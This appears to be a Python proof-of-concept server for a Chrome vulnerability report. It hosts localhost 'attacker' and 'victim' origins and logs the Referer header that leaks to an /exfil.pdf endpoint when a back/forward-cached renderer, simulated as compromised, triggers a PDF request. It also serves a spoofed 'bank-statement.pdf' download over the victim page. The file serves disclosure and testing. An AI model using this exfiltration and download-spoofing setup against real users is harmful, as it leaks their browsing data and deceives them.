#!/usr/bin/env python3
"""
POC server: hosts two cross-site origins on localhost.
  - a.test:8080  -> attacker origin (serves attacker.html, receives /exfil.pdf)
  - b.test:8081  -> victim origin (serves victim page)

Chrome must be launched with:
  --host-resolver-rules="MAP *.test 127.0.0.1"

The proof of the cross-origin leak is the Referer header observed on the
GET /exfil.pdf request: it will contain the *victim* origin (b.test:8081)
even though the request was initiated by an inactive (BFCached) a.test
renderer that never visited b.test.
"""

import http.server
import socketserver
import threading
import sys
import os

ATTACKER_PORT = 18080
VICTIM_PORT = 18081

LEAK_LOG = os.path.join(os.path.dirname(os.path.abspath(__file__)), "leak.log")

ATTACKER_HTML = b"""<!doctype html>
<html><head><title>attacker (a.test)</title></head>
<body>
<h1>attacker page on a.test</h1>
<p>This renderer is "compromised" (simulated via injected C++).<br>
In 1.5s the tab navigates cross-site to <b>b.test</b> (the victim).
When this RFH enters the back/forward cache, the injected code sends
<code>PluginHost::OpenPDF(http://a.test:8080/exfil.pdf)</code> to the
browser process.</p>
<script>
  setTimeout(() => {
    window.location.href = 'http://b.test:18081/victim/secret-account/123';
  }, 1500);
</script>
</body></html>
"""

VICTIM_HTML = b"""<!doctype html>
<html><head><title>victim (b.test)</title></head>
<body>
<h1>VICTIM page on b.test</h1>
<p>The user is now viewing a cross-origin victim page.
If the bug fires, the attacker's server receives a request for
<code>/exfil.pdf</code> whose <code>Referer</code> header leaks this
page's origin, and a download UI pops over THIS page.</p>
</body></html>
"""


class AttackerHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path.startswith("/exfil.pdf"):
            referer = self.headers.get("Referer", "<none>")
            msg = (
                f"\n========== CROSS-ORIGIN LEAK CAPTURED ==========\n"
                f"  Attacker server (a.test:{ATTACKER_PORT}) received:\n"
                f"    GET {self.path}\n"
                f"    Referer: {referer}\n"
                f"  ^^^ Referer leaks the origin of the page the user\n"
                f"      navigated to AFTER leaving the attacker page.\n"
                f"================================================\n"
            )
            sys.stderr.write(msg)
            sys.stderr.flush()
            with open(LEAK_LOG, "a") as f:
                f.write(msg)
            self.send_response(200)
            self.send_header("Content-Type", "application/pdf")
            self.send_header("Content-Disposition",
                             'attachment; filename="bank-statement.pdf"')
            self.end_headers()
            self.wfile.write(b"%PDF-1.4\n% fake\n")
            return
        if self.path in ("/", "/attacker.html"):
            self.send_response(200)
            self.send_header("Content-Type", "text/html")
            self.end_headers()
            self.wfile.write(ATTACKER_HTML)
            return
        self.send_response(404)
        self.end_headers()

    def log_message(self, fmt, *args):
        sys.stderr.write("[a.test:%d] %s\n" % (ATTACKER_PORT, fmt % args))


class VictimHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "text/html")
        self.end_headers()
        self.wfile.write(VICTIM_HTML)

    def log_message(self, fmt, *args):
        sys.stderr.write("[b.test:%d] %s\n" % (VICTIM_PORT, fmt % args))


class ReuseTCP(socketserver.TCPServer):
    allow_reuse_address = True


def main():
    open(LEAK_LOG, "w").close()
    a = ReuseTCP(("0.0.0.0", ATTACKER_PORT), AttackerHandler)
    b = ReuseTCP(("0.0.0.0", VICTIM_PORT), VictimHandler)
    threading.Thread(target=a.serve_forever, daemon=True).start()
    threading.Thread(target=b.serve_forever, daemon=True).start()
    sys.stderr.write(
        f"attacker: http://a.test:{ATTACKER_PORT}/attacker.html\n"
        f"victim:   http://b.test:{VICTIM_PORT}/\n"
        f"leak log: {LEAK_LOG}\n"
    )
    threading.Event().wait()


if __name__ == "__main__":
    main()